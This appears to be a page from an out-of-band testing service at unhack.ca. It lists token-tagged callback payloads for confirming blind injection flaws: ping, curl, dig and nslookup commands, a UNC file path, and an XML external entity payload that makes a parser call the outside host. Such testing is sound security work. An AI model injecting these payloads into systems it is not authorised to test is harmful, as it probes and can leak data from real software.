$ ping -c1 -p 004873df64539ee08aee13b9c2964900 unhack.ca
$ curl http://unhack.ca/p/4873df64539ee08aee13b9c29649
$ dig 4873df64539ee08aee13b9c29649 @unhack.ca
$ dig 4873df64539ee08aee13b9c29649.ns.unhack.ca
C:\> nslookup 4873df64539ee08aee13b9c29649 unhack.ca
C:\> type \\unhack.ca\4873df64539ee08aee13b9c29649\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/4873df64539ee08aee13b9c29649">]>
<foo>&xxe;</foo>
Waiting for ping...